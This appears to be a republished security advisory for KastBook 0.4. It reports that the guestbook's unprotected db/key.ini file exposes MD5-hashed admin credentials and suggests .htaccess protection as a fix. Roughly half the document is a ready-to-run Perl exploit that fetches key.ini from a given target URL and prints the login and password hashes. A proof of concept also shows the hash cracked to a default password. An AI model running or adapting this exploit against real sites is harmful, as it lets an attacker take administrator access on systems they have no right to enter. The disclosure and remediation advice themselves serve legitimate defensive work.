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┌────────────────────────────────────────────────────────────────────────â”
│ E u r o p a S e c u r i t y │
| ┌────────────────────────────────────────────────────────────────┠|
: :│ ─── KastBook 0.4 Vulnerability ─── │: :
┌∙∙┘└────────────────────────────────────────────────────────────────┘└∙∙â”
│ Overview │
├────────────────────────────────────────────────────────────────────────┤
│ KastBook is prone to Hash Stealing. │
├────────────────────────────────────────────────────────────────────────┤
│ Technical Description │
├────────────────────────────────────────────────────────────────────────┤
│ KastBook is prone to Hash Stealing. │
│ The application failed to protect his configurations files. │
│ │
│ 'key.ini' in 'db' directory contains hashed login and password. │
│ │
│ The exploit has been tested on KastBook 0.4. │
├────────────────────────────────────────────────────────────────────────┤
│ Impact │
├────────────────────────────────────────────────────────────────────────┤
│ Successful exploitation allows an attacker to get administrator's │
│ login and password and allows to edit the software. │
├────────────────────────────────────────────────────────────────────────┤
│ Affected Software │
├────────────────────────────────────────────────────────────────────────┤
│ - KastBook 0.4. │
│ - Maybe others. │
├────────────────────────────────────────────────────────────────────────┤
│ Proof of Concepts │
├────────────────────────────────────────────────────────────────────────┤
│ './db/key.ini' │
│ 'retour_ini_log=bdbeb65f1a43a6fac4d99219a91693c3' │
│ 'retour_ini_mdp=bdbeb65f1a43a6fac4d99219a91693c3' │
│ │
│ 'bdbeb65f1a43a6fac4d99219a91693c3' = MD5('kastbook') │
│ │
│ Login: kastbook │
│ Password: kastbook │
├────────────────────────────────────────────────────────────────────────┤
│ Solution │
├────────────────────────────────────────────────────────────────────────┤
│ - Protect 'db' directory with .htaccess. │
│ - Protect 'key.ini' file with .htaccess. │
├────────────────────────────────────────────────────────────────────────┤
│ Security Searcher │
├────────────────────────────────────────────────────────────────────────┤
│ Name: Xartrick │
│ Home: http://www.europasecurity.org/ │
├────────────────────────────────────────────────────────────────────────┤
│ Thanks │
├────────────────────────────────────────────────────────────────────────┤
│ - EuropA|SecuriTy │
│ - Sh0ck │
│ - Real French Scene │
│ - NFO: avw │
├────────────────────────────────────────────────────────────────────────┤
│ References │
├────────────────────────────────────────────────────────────────────────┤
│ http://www.europasecurity.org/ │
└────────────────────────────────────────────────────────────────────────┘
EXPLOiT:
#!/usr/bin/perl
use HTTP::Request::Common;
use LWP::UserAgent;
print("\n" . ' ----- KastBook 0.4 Exploit -----' . "\n");
print(' Vulnerability found by: Xartrick' . "\n");
print(' Exploit codded by: Xartrick' . "\n");
print(' --------------------------------' . "\n");
print(' europasecurity.org ' . "\n");
print(' Xartrick ' . "\n");
print(' ----- KastBook 0.4 Exploit -----' . "\n\n");
if($ARGV[0] eq "")
{
print(" [?] USAGE: \texploit.pl [URL]" . "\n");
print(" [?] EXAMPLE: \texploit.pl http://127.0.0.1/kastbook/" . "\n");
exit;
}
my $URL = '';
my $input = $ARGV[0];
if(substr($input, -1, 1) eq '/')
{
$URL = $input . 'db/key.ini';
}
else
{
$URL = $input . '/db/key.ini';
}
my $useragent = LWP::UserAgent -> new;
my $request = $useragent -> get($URL);
if ($request -> is_success)
{
print(" [~] Request: \tOK" . "\n");
my $result = $request -> content;
if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
{
@Hash = split(/&/, $result);
$Hash = @Hash;
$Hash[0] = substr($Hash[1], 15, 32);
$Hash[1] = substr($Hash[2], 15, 32);
if($Hash[0] ne "")
{
print(" [+] Login: \t" . $Hash[0] . " (MD5)\n");
}
else
{
print(' [-] Can\'t get login !' . "\n");
}
if($Hash[1] ne "")
{
print(" [+] Password: \t" . $Hash[1] . " (MD5)\n");
}
else
{
print(' [-] Can\'t get password !' . "\n");
}
}
else
{
print(' [-] Can\'t find corrects values ...' . "\n");
}
}
else
{
print(" [-] Request: \tError ..." . "\n");
}
∙∙───────────────────────
# 0day.today [2018-01-09] #Data
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25 Mar 2011 00:00Current
7.1High risk
Vulners AI Score7.1